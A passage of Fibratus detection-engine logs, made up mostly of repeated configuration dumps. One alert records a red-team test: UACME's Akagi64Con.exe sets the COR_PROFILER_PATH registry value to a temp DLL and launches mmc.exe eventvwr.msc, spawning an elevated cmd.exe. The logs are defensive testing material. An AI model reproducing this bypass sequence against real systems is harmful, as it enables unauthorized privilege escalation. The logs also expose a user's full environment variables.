enabled=>true] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s durable=>false routing-key=>fibratus exchange=>fibratus delivery-mode=>transient passive=>false enabled=>false vhost=>/ url=>amqp://localhost:5672] elasticsearch=>[ timeout=>5s healthcheck-interval=>10s bulk-workers=>1 trace-log=>false enabled=>false template-name=>fibratus index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s flush-period=>1s sniff=>false gzip-compression=>false servers=>[http://127.0.0.1:9200]] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s enabled=>false skip-mmaps=>false excluded-procs=>[] excluded-files=>[] skip-files=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T16:25:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:25:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:25:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T16:25:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:25:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:26:20+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T16:26:20+01:00 level=info msg=bootstrapping with pid 16716. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T16:26:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 to=>[] enabled=>false content-type=>text/html use-template=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-fileio=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-audit-api=>true enable-threadpool=>false enable-mem=>false enable-image=>true enable-registry=>true min-buffers=>16 enable-thread=>true enable-handle=>false flush-interval=>1s enable-dns=>false enable-net=>true stack-enrichment=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text level=>info max-age=>0 max-size=>100] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 timeout=>5s enabled=>false tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false exchange=>fibratus passive=>false vhost=>/ exchange-type=>topic delivery-mode=>transient] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ trace-log=>false timeout=>5s healthcheck-timeout=>5s template-name=>fibratus sniff=>false healthcheck=>true index-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s gzip-compression=>false enabled=>false bulk-workers=>1] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ serializer=>json timeout=>5s enable-gzip=>false method=>POST endpoints=>[] tls-insecure-skip-verify=>false enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-registry=>false skip-allocs=>false excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T16:26:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:26:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:27:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T16:27:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:27:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:27:31+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T16:27:31+01:00 level=info msg=bootstrapping with pid 14856. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T16:27:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html port=>25 use-template=>true to=>[] enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-mem=>false enable-image=>true enable-handle=>false flush-interval=>1s enable-vamap=>true max-buffers=>36 enable-net=>true enable-audit-api=>true enable-thread=>true stack-enrichment=>true buffer-size=>512 enable-threadpool=>false min-buffers=>16 enable-fileio=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text level=>info max-backups=>15 log-stdout=>true max-age=>0] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672 enabled=>false exchange=>fibratus routing-key=>fibratus delivery-mode=>transient durable=>false exchange-type=>topic vhost=>/ timeout=>5s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ timeout=>5s method=>POST endpoints=>[] enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json] elasticsearch=>[ healthcheck-timeout=>5s healthcheck=>true template-name=>fibratus flush-period=>1s gzip-compression=>false timeout=>5s healthcheck-interval=>10s enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false bulk-workers=>1 sniff=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false scan-timeout=>10s excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false fastscan=>true excluded-files=>[] enabled=>false skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T16:27:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:27:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:27:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T16:27:58+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:27:58+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:45:24+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T16:45:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T16:45:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-26T16:45:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T16:45:24+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T16:45:24+01:00 level=info msg=bootstrapping with pid 20192. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T16:45:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 content-type=>text/html use-template=>true enabled=>false to=>[]] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-image=>true min-buffers=>16 flush-interval=>1s enable-registry=>true enable-mem=>false enable-threadpool=>false enable-vamap=>true max-buffers=>36 buffer-size=>512 enable-net=>true enable-handle=>false enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-thread=>true enable-dns=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info max-size=>100 log-stdout=>true max-age=>0 formatter=>text] + output ......................... [ amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic routing-key=>fibratus durable=>false timeout=>5s passive=>false vhost=>/ url=>amqp://localhost:5672 enabled=>false] elasticsearch=>[ enabled=>false healthcheck=>true index-name=>fibratus gzip-compression=>false sniff=>false trace-log=>false timeout=>5s flush-period=>1s bulk-workers=>1 template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck-interval=>10s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ serializer=>json tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false method=>POST timeout=>5s enabled=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false scan-timeout=>10s skip-allocs=>false fastscan=>true skip-registry=>false skip-files=>false excluded-procs=>[] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T16:45:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:45:27+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:45:33+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 2510594 + Pid: 15076 + Tid: 1676 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-26 16:45:31.700195 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffa28068669b60, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15076 + Ppid: 7432 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2511129 + Pid: 17220 + Tid: 18052 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-26 16:45:32.661756 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 5d74f000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc48c8c6b0080, name➜ cmd.exe, pid➜ 17760, ppid➜ 17220, real_ppid➜ 17220, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-26 16:45:32.6617032 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 17220 + Ppid: 15076 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T16:45:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T16:45:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:45:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:00:25+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T17:00:25+01:00 level=info msg=bootstrapping with pid 11440. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:00:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html to=>[] port=>25 enabled=>false use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ stack-enrichment=>true max-buffers=>36 enable-net=>true enable-dns=>false enable-registry=>true enable-fileio=>true enable-vamap=>true enable-handle=>false buffer-size=>512 enable-threadpool=>false enable-thread=>true enable-image=>true enable-audit-api=>true flush-interval=>1s min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 max-size=>100 formatter=>text level=>info] + output ......................... [ elasticsearch=>[ gzip-compression=>false sniff=>false servers=>[http://127.0.0.1:9200] timeout=>5s index-name=>fibratus enabled=>false healthcheck-timeout=>5s healthcheck=>true healthcheck-interval=>10s trace-log=>false bulk-workers=>1 template-name=>fibratus 